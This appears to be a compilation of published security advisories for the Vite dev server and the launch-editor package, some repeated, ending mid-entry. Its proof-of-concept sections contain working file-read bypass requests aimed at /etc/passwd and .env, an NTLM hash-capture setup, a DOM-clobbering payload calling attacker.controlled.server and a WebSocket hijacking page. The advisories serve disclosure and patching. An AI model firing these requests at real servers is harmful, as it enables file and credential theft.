Details

Summary

Any files ending with .map even out side the project can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• have a sensitive content in files ending with .map and the path is predictable

Details

In Vite v7.3.1, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON.

PoC

1. Create a minimal PoC sourcemap outside the project root

   cat > /tmp/poc.map <<'EOF'
   {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
   EOF

2. Start the Vite dev server (example)

   pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080

3. Confirm that direct /@​fs access is blocked by strict (returns 403)
   
4. Inject ../ segments under the optimized deps .map URL prefix to reach /tmp/poc.map
   

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9
• https://github.com/vitejs/vite/pull/22161
• https://github.com/vitejs/vite/commit/79f002f2286c03c88c7b74c511c7f9fc6dc46694
• https://github.com/vitejs/vite/releases/tag/v6.4.2
• https://github.com/vitejs/vite/releases/tag/v7.3.2
• https://github.com/vitejs/vite/releases/tag/v8.0.5
• https://nvd.nist.gov/vuln/detail/CVE-2026-39365
• https://github.com/advisories/GHSA-4w7w-66w2-5vf9

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• the sensitive file exists in the allowed directories specified by server.fs.allow
• either of:
  • the sensitive file exists in an NTFS volume
  • the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)

Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Access via browser at http://localhost:5173/.env::$DATA?raw

Example expected result:

• /.env::$DATA?raw returns the contents of .env
• /tls.pem::$DATA?raw returns the contents of tls.pem

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-fx2h-pf6j-xcff
• https://nvd.nist.gov/vuln/detail/CVE-2026-53571
• https://github.com/advisories/GHSA-fx2h-pf6j-xcff

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

• using Windows
• NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
• the user accesses the attackers website that sends request to a middleware using launch-editor
• the server that has the middleware using launch-editor is running
• the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

Severity

• CVSS Score: 5.5 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

References

• https://github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3
• https://github.com/advisories/GHSA-v6wh-96g9-6wx3

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

Any files ending with .map even out side the project can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• have a sensitive content in files ending with .map and the path is predictable

Details

In Vite v7.3.1, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON.

PoC

1. Create a minimal PoC sourcemap outside the project root

   cat > /tmp/poc.map <<'EOF'
   {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
   EOF

2. Start the Vite dev server (example)

   pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080

3. Confirm that direct /@​fs access is blocked by strict (returns 403)
   
4. Inject ../ segments under the optimized deps .map URL prefix to reach /tmp/poc.map
   

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9
• https://nvd.nist.gov/vuln/detail/CVE-2026-39365
• https://github.com/vitejs/vite/pull/22161
• https://github.com/vitejs/vite/commit/79f002f2286c03c88c7b74c511c7f9fc6dc46694
• https://github.com/vitejs/vite
• https://github.com/vitejs/vite/releases/tag/v6.4.2
• https://github.com/vitejs/vite/releases/tag/v7.3.2
• https://github.com/vitejs/vite/releases/tag/v8.0.5

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• the sensitive file exists in the allowed directories specified by server.fs.allow
• either of:
  • the sensitive file exists in an NTFS volume
  • the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)

Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Access via browser at http://localhost:5173/.env::$DATA?raw

Example expected result:

• /.env::$DATA?raw returns the contents of .env
• /tls.pem::$DATA?raw returns the contents of tls.pem

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-fx2h-pf6j-xcff
• https://nvd.nist.gov/vuln/detail/CVE-2026-53571
• https://github.com/vitejs/vite

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

• using Windows
• NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
• the user accesses the attackers website that sends request to a middleware using launch-editor
• the server that has the middleware using launch-editor is running
• the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

Severity

• CVSS Score: 5.5 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

References

• https://github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3
• https://github.com/vitejs/launch-editor

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)

// extra.js
export default "https://myserver/justAnOther.js"

// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

Severity

• CVSS Score: 4.8 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-64vr-g452-qvp3
• https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986
• https://nvd.nist.gov/vuln/detail/CVE-2024-45812
• https://github.com/vitejs/vite/commit/179b17773cf35c73ddb041f9e6c703fd9f3126af
• https://github.com/vitejs/vite/commit/2691bb3ff6b073b41fb9046909e1e03a74e36675
• https://github.com/vitejs/vite/commit/2ddd8541ec3b2d2e5b698749e0f2362ef28056bd
• https://github.com/vitejs/vite/commit/ade1d89660e17eedfd35652165b0c26905259fad
• https://github.com/vitejs/vite/commit/e8127166979e7ace6eeaa2c3b733c8994caa31f3
• https://github.com/vitejs/vite/commit/ebb94c5b3bf41950f45562595adec117a4d0ba5e
• https://github.com/vitejs/vite
• https://research.securitum.com/xss-in-amp4email-dom-clobbering
• https://scnps.co/papers/sp23_domclob.pdf

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

##### expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

##### security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

Severity

• CVSS Score: 6.9 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-9cwx-2883-4wfx
• https://nvd.nist.gov/vuln/detail/CVE-2024-45811
• https://github.com/vitejs/vite/commit/4573a6fd6f1b097fb7296a3e135e0646b996b249
• https://github.com/vitejs/vite/commit/6820bb3b9a54334f3268fc5ee1e967d2e1c0db34
• https://github.com/vitejs/vite/commit/8339d7408668686bae56eaccbfdc7b87612904bd
• https://github.com/vitejs/vite/commit/a6da45082b6e73ddfdcdcc06bb5414f976a388d6
• https://github.com/vitejs/vite/commit/b901438f99e667f76662840826eec91c8ab3b3e7
• https://github.com/vitejs/vite

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

Due to the insufficient sanitization of the file argument in the launchEditor, an attacker can execute arbitrary commands on Windows by supplying a filename that contains special characters.

Impact

If the following conditions are met, an attacker can execute arbitrary commands on the computer that is using the launch-editor:

• An attacker can place a file with the malicious filename
• An attacker can call the launchEditor method with the file argument controlled
• The launch-editor package is running on Windows

For example, some development server using this package satisfy these conditions, as a malicious website might be able to force the downloading of a file and the path of that file is predictable.

Patch

This issue has been fixed in the launch-editor version 2.9.0 (commit).

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/launch-editor/security/advisories/GHSA-c27g-q93r-2cwf
• https://github.com/yyx990803/launch-editor/security/advisories/GHSA-c27g-q93r-2cwf
• https://nvd.nist.gov/vuln/detail/CVE-2024-52011
• https://github.com/vitejs/launch-editor/commit/971291e8a6a91226e1616c5c0ec85423d2d50a5e
• https://github.com/vitejs/launch-editor

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.

[!WARNING]
This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.

Upgrade Path

Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.

• Using the backend integration feature
• Using a reverse proxy in front of Vite
• Accessing the development server via a domain other than localhost or *.localhost
• Using a plugin / framework that connects to the WebSocket server on their own from the browser

Using the backend integration feature

If you are using the backend integration feature and not setting server.origin, you need to add the origin of the backend server to the server.cors.origin option. Make sure to set a specific origin rather than *, otherwise any origin can access your development server.

Using a reverse proxy in front of Vite

If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than localhost or *.localhost, you need to add the hostname to the new server.allowedHosts option. For example, if the reverse proxy is sending requests to http://vite:5173, you need to add vite to the server.allowedHosts option.

Accessing the development server via a domain other than localhost or *.localhost

You need to add the hostname to the new server.allowedHosts option. For example, if you are accessing the development server via http://foo.example.com:8080, you need to add foo.example.com to the server.allowedHosts option.

Using a plugin / framework that connects to the WebSocket server on their own from the browser

If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.

In that case, you can either:

• fix the plugin / framework code to the make it compatible with the new version of Vite
• set legacy.skipWebSocketTokenCheck: true to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite
  • When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.

Mitigation without upgrading Vite

[1]: Permissive default CORS settings

Set server.cors to false or limit server.cors.origin to trusted origins.

[2]: Lack of validation on the Origin header for WebSocket connections

There aren't any mitigations for this.

[3]: Lack of validation on the Host header for HTTP requests

Use Chrome 94+ or use HTTPS for the development server.

Details

There are three causes that allowed malicious websites to send any requests to the development server:

[1]: Permissive default CORS settings

Vite sets the Access-Control-Allow-Origin header depending on server.cors option. The default value was true which sets Access-Control-Allow-Origin: *. This allows websites on any origin to fetch contents served on the development server.

Attack scenario:

1. The attacker serves a malicious web page (http://malicious.example.com).
2. The user accesses the malicious web page.
3. The attacker sends a fetch('http://127.0.0.1:5173/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
4. The attacker gets the content of http://127.0.0.1:5173/main.js.

[2]: Lack of validation on the Origin header for WebSocket connections

Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.

Attack scenario:

1. The attacker serves a malicious web page (http://malicious.example.com).
2. The user accesses the malicious web page.
3. The attacker runs new WebSocket('http://127.0.0.1:5173', 'vite-hmr') by JS in that malicious web page.
4. The user edits some files.
5. Vite sends some HMR messages over WebSocket.
6. The attacker gets the content of the HMR messages.

[3]: Lack of validation on the Host header for HTTP requests

Unless server.https is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.

1. The attacker serves a malicious web page that is served on HTTP (http://malicious.example.com:5173) (HTTPS won't work).
2. The user accesses the malicious web page.
3. The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).
4. The attacker sends a fetch('/main.js') request by JS in that malicious web page.
5. The attacker gets the content of http://127.0.0.1:5173/main.js bypassing the same origin policy.

Impact

[1]: Permissive default CORS settings

Users with the default server.cors option may:

• get the source code stolen by malicious websites
• give the attacker access to functionalities that are not supposed to be exposed externally
  • Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

[2]: Lack of validation on the Origin header for WebSocket connections

All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.

For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.

For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.

[3]: Lack of validation on the Host header for HTTP requests

Users using HTTP for the development server and using a browser that is not Chrome 94+ may:

• get the source code stolen by malicious websites
• give the attacker access to functionalities that are not supposed to be exposed externally
  • Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.

Related Information

Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.

PoC

[2]: Lack of validation on the Origin header for WebSocket connections

1. I used the react template which utilizes HMR functionality.

npm create vite@latest my-vue-app-react -- --template react

2. Then on a malicious server, serve the following POC html:

<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <title>vite CSWSH</title>
    </head>
    <body>
        <div id="logs"></div>
        <script>
            const div = document.querySelectorAll('#logs')[0];
            const ws = new WebSocket('ws://localhost:5173','vite-hmr');
            ws.onmessage = event => {
                const logLine = document.createElement('p');
                logLine.innerHTML = event.data;
                div.append(logLine);
            };
        </script>
    </body>
</html>

3. Kick off Vite

npm run dev

4. Load the development server (open http://localhost:5173/) as well as the malicious page in the browser.
5. Edit src/App.jsx file and intentionally place a syntax error
6. Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed

Here's a video demonstrating the POC:

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-vg6x-rcgg-rjx6
• https://nvd.nist.gov/vuln/detail/CVE-2025-24010
• https://github.com/vitejs/vite

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

##### expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

##### security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w
• https://nvd.nist.gov/vuln/detail/CVE-2025-30208
• https://github.com/vitejs/vite/commit/315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4
• https://github.com/vitejs/vite/commit/80381c38d6f068b12e6e928cd3c616bd1d64803c
• https://github.com/vitejs/vite/commit/807d7f06d33ab49c48a2a3501da3eea1906c0d41
• https://github.com/vitejs/vite/commit/92ca12dc79118bf66f2b32ff81ed09e0d0bd07ca
• https://github.com/vitejs/vite/commit/f234b5744d8b74c95535a7b82cc88ed2144263c1
• https://github.com/vitejs/vite

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

• base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init)
• content of non-allowed files is exposed using ?raw?import

/@​fs/ isn't needed to reproduce the issue for files inside the project root.

PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Example full URL http://localhost:5173/@​fs/C:/windows/win.ini?import&?inline=1.wasm?init

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-4r4m-qw57-chr8
• https://nvd.nist.gov/vuln/detail/CVE-2025-31125
• https://github.com/vitejs/vite/commit/59673137c45ac2bcfad1170d954347c1a17ab949
• https://github.com/vitejs/vite
• https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-31125

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

.svg

Requests ending with .svg are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read etc/passwd

curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'

curl 'http://127.0.0.1:5173/@​fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x
• https://nvd.nist.gov/vuln/detail/CVE-2025-31486
• https://github.com/vitejs/vite/commit/62d7e81ee189d65899bb65f3263ddbd85247b647
• https://github.com/vitejs/vite
• https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.

Impact

Only apps with the following conditions are affected.

• explicitly exposing the Vite dev server to the network (using --host or server.host config option)
• running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)

Details

HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).

On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check.

On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url did not contain #.

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read /etc/passwd

